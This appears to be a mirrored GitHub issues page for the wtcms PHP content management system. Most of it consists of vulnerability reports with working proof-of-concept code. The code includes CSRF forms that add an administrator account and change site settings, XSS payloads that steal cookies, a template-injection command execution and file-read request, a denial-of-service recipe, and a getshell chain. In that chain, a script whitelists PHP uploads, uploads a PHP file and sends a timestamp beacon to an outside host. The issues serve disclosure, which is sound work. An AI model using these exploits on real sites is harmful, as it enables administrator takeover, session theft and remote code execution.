Giter VIP home page Giter VIP logo

wtcms's People

Contributors

taosir avatar

Stargazers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

Watchers

 avatar  avatar  avatar  avatar  avatar

wtcms's Issues

CSRF combines reflective XSS to obtain cookies

Reflective XSS exists in the administrator's page management office
In the search box, enter "><a src=" to trigger XSS

clipboard1
clipboard2

Reuse CSRF vulnerability to obtain cookies

clipboard3
clipboard4
clipboard5

POC

<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://localhost/index.php?g=&m=admin_page&a=index" method="POST">
      <input type="hidden" name="start&#95;time" value="" />
      <input type="hidden" name="end&#95;time" value="" />
      <input type="hidden" name="keyword" value="&quot;&gt;&lt;svg&#32;onload&#61;alert&#40;document&#46;cookie&#41;&gt;&lt;a&#32;src&#61;&quot;" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

There is a RCE vulnerability in wtcms

wtcms is based on thinkcmf,but there is a RCE vulnerability has been exposed about thinkcmf in October(detail:https://www.freebuf.com/vuls/218105.html)。An attacker can execute any command by requesting ?a=fetch&content=<?php system('ping xxxxxx');?>

To demonstrate this vulnerability, we reproduce it via dnslog

屏幕截图_345

after sending request above, we can get some dns query record on dnslog platform
屏幕截图_344

besides, we can read any file by sending a request ?a=display&templateFile=README.md

we can change the value of templateFile to read any file.

屏幕截图_346

The background verification code size can be controlled to cause a denial of service attack.

1.Right click to view the verification code image address
2.Found width and height in the url
3.Use burpsuite to fetch data and see the size of the returned package
4.Try modifying the length and width values and seeing the size of the returned package
5.Through the above test, we know that the vulnerability exists. If we send a 10000 packet to the server and the server takes 10s to process, then if we send 10 10000 packets?
10x10 = 100s
That is, the server takes 100s to process. When we send 100 such packets (of course, you should never throw them with 100 packets. Generally speaking, 20-50 test results can lead to website crashes.)

image
image
image
image

Storage XSS was found in three places

Three storage XSS were found in wtcms

POC:

javascript:alert(document.cookie)

1.Click on the background article management and fill in the XSS code at the source of the article

clipboard11

Find the published article in the front desk and click on the link to trigger XSS

clipboard12
clipboard13

POC:

javascript:alert(document.cookie)

2.Click on the background menu management, fill in the XSS code at the link, and finally click save

clipboard21

Find the location where the XSS code is inserted in the foreground and click to trigger the XSS attack

clipboard22
clipboard23

POC:

javascript:alert(document.cookie)

3.Click on the background links, fill in the XSS code at the link address, and finally click Save

clipboard31

Find the link address at the bottom of the front desk and click to trigger XSS

clipboard32
clipboard33

Can getshell vulnerability

Getshell through three steps

  1. Open the following code file when the administrator is logged in.
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>Title</title>
</head>
<body>
<script type="text/javascript">
    function post(url, fields) {
        var p = document.createElement("form");
        p.action = url;
        p.innerHTML = fields;
        p.target = "_self";
        p.method = "post";
        document.body.appendChild(p);
        p.submit();
    }

    function csrf_hack() {
        var fields;

        fields += "<input type='hidden' name='image[upload_max_filesize]' value='10240' />";
        fields += "<input type='hidden' name='image[extensions]' value='=jpg,jpeg,png,gif,bmp4,php' />";
        fields += "<input type='hidden' name='video[upload_max_filesize]' value='10240' />";
        fields += "<input type='hidden' name='audio[upload_max_filesize%5' value='10240' />";
        fields += "<input type='hidden' name='file[upload_max_filesize]' value='10240' />";
        fields += "<input type='hidden' name='video[extensions]' value='mp4,avi,wmv,rm,rmvb,mkv' />";
        fields += "<input type='hidden' name='audio[extensions]' value='mp3,wma,wav' />";
        fields += "<input type='hidden' name='file[extensions]' value='txt,pdf,doc,docx,xls,xlsx,ppt,pptx,zip,rar' />";


        var url = "http://192.168.1.2/index.php?g=admin&m=setting&a=upload_post";
        post(url, fields);
    }

    window.onload = function () {
        csrf_hack();
    }
</script>
</body>
</html>

The above script can use the csrf to add a file with the suffix php in the whitelist of the uploaded image.

  1. Next, let the logged in administrator execute the following code script, which will upload a php script to /data/upload/admin/[date]/[filename].php, where the date is the file upload date, which is the script trigger date. The file name is php function uniqid() to execute the build.
<html>
<body>
<script>history.pushState('', '', '/')</script>
<script>
    function submitRequest() {
        var xhr1 = new XMLHttpRequest();
        xhr1.open('GET', "http://127.0.0.1:5000/?timestamp=" + (new Date()).valueOf(), true);
        xhr1.send(null);
        var xhr = new XMLHttpRequest();
        xhr.open("POST", "http:\/\/192.168.1.2\/index.php?g=asset&m=asset&a=plupload", true);
        xhr.setRequestHeader("Accept", "*\/*");
        xhr.setRequestHeader("Accept-Language", "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2");
        xhr.setRequestHeader("Content-Type", "multipart\/form-data; boundary=---------------------------128712298613561");
        xhr.withCredentials = true;
        var body = "-----------------------------128712298613561\r\n" +
            "Content-Disposition: form-data; name=\"name\"\r\n" +
            "\r\n" +
            "abc.php\r\n" +
            "-----------------------------128712298613561\r\n" +
            "Content-Disposition: form-data; name=\"app\"\r\n" +
            "\r\n" +
            "Admin\r\n" +
            "-----------------------------128712298613561\r\n" +
            "Content-Disposition: form-data; name=\"file\"; filename=\"abc.php\"\r\n" +
            "Content-Type: application/octet-stream\r\n" +
            "\r\n" +
            "\x3c?php phpinfo();?\x3e\r\n" +
            "-----------------------------128712298613561--\r\n";
        var aBody = new Uint8Array(body.length);
        for (var i = 0; i < aBody.length; i++)
            aBody[i] = body.charCodeAt(i);
        xhr.send(new Blob([aBody]));
    }

    window.onload = submitRequest();
</script>
</body>
</html>

In the above script, before uploading the php file, the script trigger timestamp will be sent to my host, let me know the script trigger time (prepare for the subsequent blast file name), followed by uploading a file, the content is obtained. Phpinfo();

  1. The script has been uploaded, and I got the timestamp when I uploaded the script, we will find it now.
    上传脚本时获取的时间戳

code

After two hours of attack, I received the following good news.
爆破出上传路径

Remote execution of the command succeeded
a

Has a CSRF vulnerability and can add an administrator account

After the administrator logs in, open the CSRF exp page.

<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://127.0.0.1/index.php?g=admin&m=user&a=add_post" method="POST">
      <input type="hidden" name="user&#95;login" value="hacker1" />
      <input type="hidden" name="user&#95;pass" value="hacker1" />
      <input type="hidden" name="user&#95;email" value="123&#64;qq&#46;com" />
      <input type="hidden" name="role&#95;id&#91;&#93;" value="2" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

admin登录密码错误

你好,我试了输入admin的密码123456,但是显示密码错误。是密码改变了吗?谢谢
image

Csrf + Xss combination Can be obtained administrator cookie

Place of backstage set up website information exists Csrf Vulnerability,attacker Structure a csrf payload,Once the administrator clicks on the malicious link, the site information is automatically changed.
There is still an xss in the place of the website statistics code.
image

We can write an xss first, and then construct the csrf code, so that after the webmaster clicks on the malicious link of the attacker, it will execute csrf, and the website will have an xss. As long as the administrator visits the homepage of the website, he can get him Cookie

CSRF Exp:

<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://localhost/wtcms/index.php?g=admin&m=setting&a=site_post" method="POST">
      <input type="hidden" name="options&#91;site&#95;name&#93;" value="test" />
      <input type="hidden" name="option&#95;id" value="10" />
      <input type="hidden" name="options&#91;site&#95;admin&#95;url&#95;password&#93;" value="" />
      <input type="hidden" name="options&#91;site&#95;tpl&#93;" value="default" />
      <input type="hidden" name="options&#91;site&#95;adminstyle&#93;" value="flat" />
      <input type="hidden" name="options&#91;site&#95;icp&#93;" value="" />
      <input type="hidden" name="options&#91;site&#95;admin&#95;email&#93;" value="" />
      <input type="hidden" name="options&#91;site&#95;tongji&#93;" value="&lt;script&gt;alert&#40;&quot;test&quot;&#41;&lt;&#47;script&gt;" />
      <input type="hidden" name="options&#91;site&#95;copyright&#93;" value="" />
      <input type="hidden" name="options&#91;site&#95;seo&#95;title&#93;" value="�&#191;&#189;�&#184;�&#187;�&#191;&#189;�&#161;�&#191;&#189;" />
      <input type="hidden" name="options&#91;site&#95;seo&#95;keywords&#93;" value="" />
      <input type="hidden" name="options&#91;site&#95;seo&#95;description&#93;" value="" />
      <input type="hidden" name="options&#91;urlmode&#93;" value="0" />
      <input type="hidden" name="options&#91;html&#95;suffix&#93;" value="" />
      <input type="hidden" name="options&#91;comment&#95;time&#95;interval&#93;" value="60" />
      <input type="hidden" name="cmf&#95;settings&#91;banned&#95;usernames&#93;" value="" />
      <input type="hidden" name="cdn&#95;settings&#91;cdn&#95;static&#95;root&#93;" value="" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

image

There is one CSRF vulnerability that can add news

You can add articles in admin background, but there is a CSRF vulnerability.
clipboard
clipboard2
clipboard3
clipboard4

POC

<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://localhost/cms/wtcms-master/index.php?g=admin&m=nav&a=add_post" method="POST">
      <input type="hidden" name="cid" value="3" />
      <input type="hidden" name="parentid" value="72" />
      <input type="hidden" name="label" value="CSRF Test" />
      <input type="hidden" name="nav" value="on" />
      <input type="hidden" name="external&#95;href" value="http&#58;&#47;&#47;" />
      <input type="hidden" name="target" value="" />
      <input type="hidden" name="icon" value="" />
      <input type="hidden" name="status" value="1" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.